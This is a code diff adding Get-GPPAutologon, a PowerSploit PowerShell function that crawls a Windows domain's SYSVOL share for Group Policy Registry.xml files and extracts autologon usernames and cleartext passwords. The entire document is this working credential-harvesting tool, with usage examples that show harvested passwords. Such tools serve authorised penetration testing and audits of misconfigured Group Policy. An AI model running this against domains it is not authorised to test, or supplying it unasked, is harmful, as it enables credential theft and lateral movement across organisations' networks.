1
+ function Get-GPPAutologon
2
+ {
3
+ <#
4
+ . SYNOPSIS
5
+
6
+ Retrieves password from Autologon entries that are pushed through Group Policy Registry Preferences.
7
+
8
+ PowerSploit Function: Get-GPPAutologon
9
+ Author: Oddvar Moe (@oddvarmoe)
10
+ Based on Get-GPPPassword by Chris Campbell (@obscuresec) - Thanks for your awesome work!
11
+ License: BSD 3-Clause
12
+ Required Dependencies: None
13
+ Optional Dependencies: None
14
+
15
+ . DESCRIPTION
16
+
17
+ Get-GPPAutologn searches the domain controller for registry.xml to find autologon information and returns the username and password.
18
+
19
+ . EXAMPLE
20
+
21
+ PS C:\> Get-GPPAutolgon
22
+
23
+ UserNames File Passwords
24
+ --------- ---- ---------
25
+ {administrator} \\ADATUM.COM\SYSVOL\Adatum.com\Policies\{... {PasswordsAreLam3}
26
+ {NormalUser} \\ADATUM.COM\SYSVOL\Adatum.com\Policies\{... {ThisIsAsupaPassword}
27
+
28
+
29
+ . EXAMPLE
30
+
31
+ PS C:\> Get-GPPAutologon | ForEach-Object {$_.passwords} | Sort-Object -Uniq
32
+
33
+ password
34
+ password12
35
+ password123
36
+ password1234
37
+ password1234$
38
+ read123
39
+ Recycling*3ftw!
40
+
41
+ . LINK
42
+
43
+ https://support.microsoft.com/nb-no/kb/324737
44
+ #>
45
+
46
+ [CmdletBinding ()]
47
+ Param ()
48
+
49
+ # Some XML issues between versions
50
+ Set-StrictMode - Version 2
51
+
52
+ # define helper function to parse fields from xml files
53
+ function Get-GPPInnerFields
54
+ {
55
+ [CmdletBinding ()]
56
+ Param (
57
+ $File
58
+ )
59
+
60
+ try
61
+ {
62
+ $Filename = Split-Path $File - Leaf
63
+ [xml ] $Xml = Get-Content ($File )
64
+
65
+ # declare empty arrays
66
+ $Password = @ ()
67
+ $UserName = @ ()
68
+
69
+ # check for password and username field
70
+ if (($Xml.innerxml -like " *DefaultPassword*" ) -and ($Xml.innerxml -like " *DefaultUserName*" ))
71
+ {
72
+ $props = $xml.GetElementsByTagName (" Properties" )
73
+ foreach ($prop in $props )
74
+ {
75
+ switch ($prop.name )
76
+ {
77
+ ' DefaultPassword'
78
+ {
79
+ $Password += , $prop | Select-Object - ExpandProperty Value
80
+ }
81
+
82
+ ' DefaultUsername'
83
+ {
84
+ $Username += , $prop | Select-Object - ExpandProperty Value
85
+ }
86
+ }
87
+
88
+ Write-Verbose " Potential password in $File "
89
+ }
90
+
91
+ # put [BLANK] in variables
92
+ if (! ($Password ))
93
+ {
94
+ $Password = ' [BLANK]'
95
+ }
96
+
97
+ if (! ($UserName ))
98
+ {
99
+ $UserName = ' [BLANK]'
100
+ }
101
+
102
+ # Create custom object to output results
103
+ $ObjectProperties = @ {' Passwords' = $Password ;
104
+ ' UserNames' = $UserName ;
105
+ ' File' = $File }
106
+
107
+ $ResultsObject = New-Object - TypeName PSObject - Property $ObjectProperties
108
+ Write-Verbose " The password is between {} and may be more than one value."
109
+ if ($ResultsObject )
110
+ {
111
+ Return $ResultsObject
112
+ }
113
+ }
114
+ }
115
+ catch {Write-Error $Error [0 ]}
116
+ }
117
+
118
+ try {
119
+ # ensure that machine is domain joined and script is running as a domain account
120
+ if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env: USERDNSDOMAIN ) ) {
121
+ throw ' Machine is not a domain member or User is not a member of the domain.'
122
+ }
123
+
124
+ # discover potential registry.xml containing autologon passwords
125
+ Write-Verbose ' Searching the DC. This could take a while.'
126
+ $XMlFiles = Get-ChildItem - Path " \\$Env: USERDNSDOMAIN \SYSVOL" - Recurse - ErrorAction SilentlyContinue - Include ' Registry.xml'
127
+
128
+ if ( -not $XMlFiles ) {throw ' No preference files found.' }
129
+
130
+ Write-Verbose " Found $ ( $XMLFiles | Measure-Object | Select-Object - ExpandProperty Count) files that could contain passwords."
131
+
132
+ foreach ($File in $XMLFiles ) {
133
+ $Result = (Get-GppInnerFields $File.Fullname )
134
+ Write-Output $Result
135
+ }
136
+ }
137
+
138
+ catch {Write-Error $Error [0 ]}
139
+ }
0 commit comments